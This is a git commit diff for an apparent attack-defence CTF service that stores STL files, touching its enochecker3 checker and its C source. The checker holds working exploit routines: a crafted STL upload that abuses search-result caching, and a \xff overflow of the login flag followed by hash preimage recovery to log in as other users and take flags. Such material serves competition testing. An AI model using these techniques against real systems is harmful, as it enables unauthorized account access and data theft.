commit 612814068b4abef28915e51ef96780801e6c515b
parent 8e430a00c145647cf6a67504640bd919af2c4fdf
Author: Louis Burda <quent.burda@gmail.com>
Date: Thu, 8 Jul 2021 02:33:33 +0200
added attackinfo and fixed other issues
Diffstat:
M | checker/src/checker.py | | | 92 | +++++++++++++++++++++++++++++++++++++++++++++++++++---------------------------- |
M | service/src/main.c | | | 58 | +++++++++++++++++++++++++--------------------------------- |
M | src/main.c | | | 58 | +++++++++++++++++++++++++--------------------------------- |
3 files changed, 109 insertions(+), 99 deletions(-)
diff --git a/checker/src/checker.py b/checker/src/checker.py
@@ -24,6 +24,7 @@ from enochecker3 import (
ChainDB,
DependencyInjector,
Enochecker,
+ ExploitCheckerTaskMessage,
GetflagCheckerTaskMessage,
GetnoiseCheckerTaskMessage,
InternalErrorException,
@@ -44,8 +45,9 @@ for path in os.listdir(f"{script_path}/models"):
wordlist = [w for w in open(f"{script_path}/wordlist.txt").read().split() if w != ""]
prompt = b"\r$ "
-search_truncation_payload = b"""
-solid test\xff
+exploit_0_file_prefix = b"""
+solid test\xff"""
+exploit_0_file_suffix = b"""
facet normal 0 0 1.0
outer loop
vertex 1 0 0
@@ -366,8 +368,8 @@ async def getdb(db: ChainDB, key: str) -> tuple[Any, ...]:
async def do_auth(
- session: Session, authstr: bytes, check: bool = True
-) -> Optional[bool]:
+ session: Session, authstr: bytes, check: bool = True, newuser: bool = True
+) -> Optional[bytes]:
session.logger.debug(f"Logging in with {authstr!r}")
session.write(b"auth\n")
session.write(authstr + b"\n")
@@ -383,11 +385,24 @@ async def do_auth(
# Also check success message
resp += await session.readuntil(prompt, ctx="reading auth response (2)")
- if b"Success!" not in resp:
- session.logger.critical(f"Login with pass {authstr!r} failed")
+ try:
+ userid = resp.split(b"Logged in with ID ")[1].split(b"!")[0]
+ except:
+ session.logger.critical(f"Login with pass {authstr!r} failed:\n{resp!r}")
raise MumbleException("Authentication not working properly")
- return b"Welcome back" in resp
+ # Check wether new user
+ is_newuser = b"Welcome back" not in resp
+ if is_newuser != newuser:
+ if check:
+ if newuser:
+ session.logger.critical("Unexpectedly, user dir exists already!")
+ else:
+ session.logger.critical("Unexpectedly, user dir doesnt exist!")
+ raise MumbleException("Authentication not working properly")
+ return None
+
+ return userid
async def do_list(session: Session, check: bool = True) -> Optional[bytes]:
@@ -692,7 +707,7 @@ async def test_good_upload(
# Create new session, register and upload file
session = await di.get(Session)
if register:
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=True)
modelid = await do_upload(session, modelname, stlfile, check=True)
assert modelid is not None
check_hash(modelid)
@@ -715,7 +730,7 @@ async def test_good_upload(
await check_not_in_search(
session, modelname, expected, download=True, fail=True
)
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=False)
info, stlfile = await check_in_search(
session, modelname, expected, download=True
)
@@ -760,7 +775,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None:
# Ensure searching for a file that doesnt exist causes an error
session = await di.get(Session)
if registered:
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=True)
resp = await do_search(session, modelname, download=False, check=False)
if resp is not None:
session.logger.critical(
@@ -773,9 +788,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None:
@checker.putflag(0)
-async def putflag_guest(
- task: PutflagCheckerTaskMessage, di: DependencyInjector
-) -> None:
+async def putflag_guest(task: PutflagCheckerTaskMessage, di: DependencyInjector) -> str:
modelname = fakeid()
db = await di.get(ChainDB)
@@ -786,23 +799,26 @@ async def putflag_guest(
assert modelid is not None
await db.set("info", (modelname, modelid))
+ return "Model {}.. is kinda sus".format(modelid[:10].decode())
@checker.putflag(1)
async def putflag_private(
task: PutflagCheckerTaskMessage, di: DependencyInjector
-) -> None:
+) -> str:
modelname, authstr = fakeids(2)
stlfile = genfile(task.flag.encode(), "bin")
db = await di.get(ChainDB)
# Generate a file with flag in solidname and upload it (registered, bin)
session = await di.get(Session)
- await do_auth(session, authstr, check=True)
+ userid = await do_auth(session, authstr, check=True, newuser=True)
+ assert userid is not None
modelid = await do_upload(session, modelname, stlfile, check=True)
assert modelid is not None
await db.set("info", (modelname, modelid, authstr))
+ return "User {}.. is kinda sus".format(userid[:10].decode())
@checker.getflag(0)
@@ -829,7 +845,7 @@ async def getflag_private(
# Retrieve private flag file info via search / list and ensure flag's included
session = await di.get(Session)
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=False)
search_resp = await do_search(session, modelname, download=True, check=True)
assert search_resp is not None
assert_in(task.flag.encode(), search_resp[0], "Flag is missing from stl info")
@@ -864,7 +880,7 @@ async def putnoise_priv(
# Generate a random file and upload it (registered, bin / ascii)
session = await di.get(Session)
stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=True)
modelid = await do_upload(session, modelname, stlfile, check=True)
await db.set("info", (modelid, modelname, solidname, stlfile, authstr))
@@ -896,7 +912,7 @@ async def getnoise_priv(
# Retrieve noise file by name via search and search (registered)
session = await di.get(Session)
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=False)
await check_in_search(
session,
modelname,
@@ -1005,29 +1021,33 @@ async def havoc_fluff_upload(di: DependencyInjector) -> None:
@checker.exploit(0)
-async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
+async def exploit_prefix_truncation(
+ task: ExploitCheckerTaskMessage, di: DependencyInjector
+) -> bytes:
modelname = fakeid()
searcher = await di.get(FlagSearcher)
session = await di.get(Session)
session.logger.debug("Uploading evil file for hash truncation")
+ assert task.attack_info is not None
+ target_prefix = task.attack_info.split()[1][:-2].encode()
+
# Upload evil file
- await do_upload(session, modelname, stlfile=search_truncation_payload, check=True)
- search_resp = await do_search(session, modelname, download=False, check=True)
- print(search_resp)
+ evil_file = exploit_0_file_prefix + target_prefix + exploit_0_file_suffix
+ await do_upload(session, modelname, stlfile=evil_file, check=True)
+ await do_search(session, modelname, download=False, check=True)
# Retrieve evil file for hash truncation
session.write(b"search last\n")
await session.drain()
- filelist_resp = await session.readuntil(
- b"[q to quit]: ", ctx="reading search results"
- )
- session.logger.critical(filelist_resp)
- filelist = [l.strip() for l in filelist_resp.split(b"\n")[:-1] if l.strip() != b""]
+ resp = await session.readline()
+ if b"ERR:" in resp:
+ raise MumbleException("Searching for cached entry fails!")
+ resp += await session.readuntil(b"[q to quit]: ", ctx="reading search results")
+ filelist = [l.strip() for l in resp.split(b"\n")[:-1] if l.strip() != b""]
if len(filelist) == 0:
raise MumbleException("Failed to list files through search")
- session.logger.critical(filelist)
# Use it to enumerate other files and grab contents
flag = None
@@ -1043,9 +1063,7 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
resp += await session.readuntil(
b"==================", ctx="getting file info (1)"
)
- resp += await session.readuntil(
- b"[q to quit]: ", ctx="getting file info (2)"
- )
+ resp += await session.readuntil(b"[q to quit]: ", ctx="getting file info (2)")
session.logger.critical(resp)
if flag := searcher.search_flag(resp):
break
@@ -1062,9 +1080,14 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
@checker.exploit(1)
-async def exploit_hash_overflow(di: DependencyInjector) -> None:
+async def exploit_hash_overflow(
+ task: ExploitCheckerTaskMessage, di: DependencyInjector
+) -> None:
searcher = await di.get(FlagSearcher)
+ assert task.attack_info is not None
+ target_prefix = task.attack_info.split()[1][:-2].encode()
+
# Overflow loggedin variable
session = await di.get(Session)
session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
@@ -1084,13 +1107,16 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None:
# Login as each private user
for userhash in users:
+ if not userhash.startswith(target_prefix):
+ continue
+
# Find preimage of user hash
session.logger.debug(f"Logging in as user with id {userhash!r}")
authstr = reverse_hash(userhash.decode())
# Authenticate and check if the user is new
session = await di.get(Session)
- if not await do_auth(session, authstr, check=True):
+ if not await do_auth(session, authstr, check=False, newuser=False):
await session.exit()
# We dont raise an exception, because it could be that user dir was cleaned
# up just before we logged in, not necessarily because of an invalid prehash.
diff --git a/service/src/main.c b/service/src/main.c
@@ -100,13 +100,6 @@ fail:
}
int
-access_authorized(const char *file)
-{
- return (loggedin && file[0] == '.' && file[1] != '.')
- || (!loggedin && file[0] != '.');
-}
-
-int
handle_download(const char *scandir)
{
char *infopath = NULL, *modelpath = NULL;
@@ -269,9 +262,10 @@ void
search_cmd(const char *arg)
{
const char *hash, *resp = NULL;
- char *indexpath = NULL, *seldir = NULL;
- FILE *f;
+ char *indexpath = NULL, *filename = NULL,
+ *seldir = NULL;
int i, c, matchlen, reslen;
+ FILE *f;
if (arg && !strcmp(arg, "last")) {
if (!cached.valid) {
@@ -291,31 +285,26 @@ search_cmd(const char *arg)
flock(fileno(f), LOCK_SH);
reslen = matchlen = 0;
+ filename = aprintf("%s%s", loggedin ? "." : "", hash);
while ((c = fgetc(f)) > 0) {
if (c == '\n') {
matchlen = 0;
- continue;
- } else if (matchlen == -1) {
- continue;
- } else if (!matchlen && c == '.') {
- if (!loggedin) matchlen = -1;
- continue;
- } else if (c == hash[matchlen]) {
+ } else if (!matchlen && (c == '.') != loggedin) {
+ matchlen = -1;
+ } else if (matchlen >= 0 && c == filename[matchlen]) {
matchlen += 1;
+ if (matchlen == strlen(filename)) {
+ fseek(f, -matchlen, SEEK_CUR);
+ putchar(' ');
+ while ((c = fgetc(f)) > 0 && c != '\n')
+ putchar(c);
+ putchar('\n');
+ matchlen = 0;
+ reslen += 1;
+ }
} else {
matchlen = -1;
}
-
- if (matchlen == strlen(hash)) {
- fseek(f, -matchlen, SEEK_CUR);
- putchar(' ');
- if (loggedin) putchar('.');
- while ((c = fgetc(f)) > 0 && c != '\n')
- putchar(c);
- putchar('\n');
- matchlen = 0;
- reslen += 1;
- }
}
flock(fileno(f), LOCK_UN);
@@ -328,7 +317,7 @@ search_cmd(const char *arg)
while (1) {
resp = ask("> Enter %s [q to quit]: ",
- resp ? "another" : "hash");
+ resp ? "another" : "hash");
if (strchr(resp, 'q')) break;
if (checkalph(resp, ".abcdef0123456789-") != OK) {
ERR("Invalid model id specified\n");
@@ -341,6 +330,7 @@ search_cmd(const char *arg)
}
exit:
+ free(filename);
free(seldir);
free(indexpath);
return;
@@ -379,7 +369,7 @@ list_cmd(const char *arg)
} else {
ERR("Failed to read file info!\n");
}
- if (fn) fclose(f);
+ if (fn) fclose(fn);
free(path);
}
flock(fileno(f), LOCK_UN);
@@ -391,7 +381,7 @@ auth_cmd(const char *arg)
{
const char *hash;
char *ndir, *indexpath;
- int ret;
+ int ret, existed;
FILE *f;
if (loggedin) {
@@ -399,19 +389,21 @@ auth_cmd(const char *arg)
return;
}
+ existed = 0;
hash = mhash(arg ? arg : ask("> Enter a password: "), -1);
ndir = aprintf("%s/.%s", resultdir, hash);
ret = mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO);
if (!ret) {
- printf("Success!\n");
+ printf("Logged in with ID %s!\n", hash);
} else if (ret && errno == EEXIST) {
- printf("Success!\nWelcome back!\n");
+ existed = 1;
+ printf("Logged in with ID %s!\nWelcome back!\n", hash);
} else {
ERR("Auth failed!\n");
return;
}
- if (errno != EEXIST) {
+ if (!existed) {
indexpath = aprintf("%s/.index", resultdir);
if (!(f = fopen(indexpath, "a+"))) {
free(indexpath);
diff --git a/src/main.c b/src/main.c
@@ -100,13 +100,6 @@ fail:
}
int
-access_authorized(const char *file)
-{
- return (loggedin && file[0] == '.' && file[1] != '.')
- || (!loggedin && file[0] != '.');
-}
-
-int
handle_download(const char *scandir)
{
char *infopath = NULL, *modelpath = NULL;
@@ -269,9 +262,10 @@ void
search_cmd(const char *arg)
{
const char *hash, *resp = NULL;
- char *indexpath = NULL, *seldir = NULL;
- FILE *f;
+ char *indexpath = NULL, *filename = NULL,
+ *seldir = NULL;
int i, c, matchlen, reslen;
+ FILE *f;
/* either choose cached or request new entry */
if (arg && !strcmp(arg, "last")) {
@@ -294,31 +288,26 @@ search_cmd(const char *arg)
/* output lines that have hash as prefix */
reslen = matchlen = 0;
+ filename = aprintf("%s%s", loggedin ? "." : "", hash);
while ((c = fgetc(f)) > 0) {
if (c == '\n') {
matchlen = 0;
- continue;
- } else if (matchlen == -1) {
- continue;
- } else if (!matchlen && c == '.') {
- if (!loggedin) matchlen = -1;
- continue;
- } else if (c == hash[matchlen]) {
+ } else if (!matchlen && (c == '.') != loggedin) {
+ matchlen = -1;
+ } else if (matchlen >= 0 && c == filename[matchlen]) {
matchlen += 1;
+ if (matchlen == strlen(filename)) {
+ fseek(f, -matchlen, SEEK_CUR);
+ putchar(' ');
+ while ((c = fgetc(f)) > 0 && c != '\n')
+ putchar(c);
+ putchar('\n');
+ matchlen = 0;
+ reslen += 1;
+ }
} else {
matchlen = -1;
}
-
- if (matchlen == strlen(hash)) {
- fseek(f, -matchlen, SEEK_CUR);
- putchar(' ');
- if (loggedin) putchar('.');
- while ((c = fgetc(f)) > 0 && c != '\n')
- putchar(c);
- putchar('\n');
- matchlen = 0;
- reslen += 1;
- }
}
flock(fileno(f), LOCK_UN);
@@ -332,7 +321,7 @@ search_cmd(const char *arg)
/* allow user to choose files to access */
while (1) {
resp = ask("> Enter %s [q to quit]: ",
- resp ? "another" : "hash");
+ resp ? "another" : "hash");
if (strchr(resp, 'q')) break;
if (checkalph(resp, ".abcdef0123456789-") != OK) {
ERR("Invalid model id specified\n");
@@ -345,6 +334,7 @@ search_cmd(const char *arg)
}
exit:
+ free(filename);
free(seldir);
free(indexpath);
return;
@@ -383,7 +373,7 @@ list_cmd(const char *arg)
} else {
ERR("Failed to read file info!\n");
}
- if (fn) fclose(f);
+ if (fn) fclose(fn);
free(path);
}
flock(fileno(f), LOCK_UN);
@@ -395,7 +385,7 @@ auth_cmd(const char *arg)
{
const char *hash;
char *ndir, *indexpath;
- int ret;
+ int ret, existed;
FILE *f;
if (loggedin) {
@@ -403,19 +393,21 @@ auth_cmd(const char *arg)
return;
}
+ existed = 0;
hash = mhash(arg ? arg : ask("> Enter a password: "), -1);
ndir = aprintf("%s/.%s", resultdir, hash);
ret = mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO);
if (!ret) {
- printf("Success!\n");
+ printf("Logged in with ID %s!\n", hash);
} else if (ret && errno == EEXIST) {
- printf("Success!\nWelcome back!\n");
+ existed = 1;
+ printf("Logged in with ID %s!\nWelcome back!\n", hash);
} else {
ERR("Auth failed!\n");
return;
}
- if (errno != EEXIST) {
+ if (!existed) {
indexpath = aprintf("%s/.index", resultdir);
if (!(f = fopen(indexpath, "a+"))) {
free(indexpath);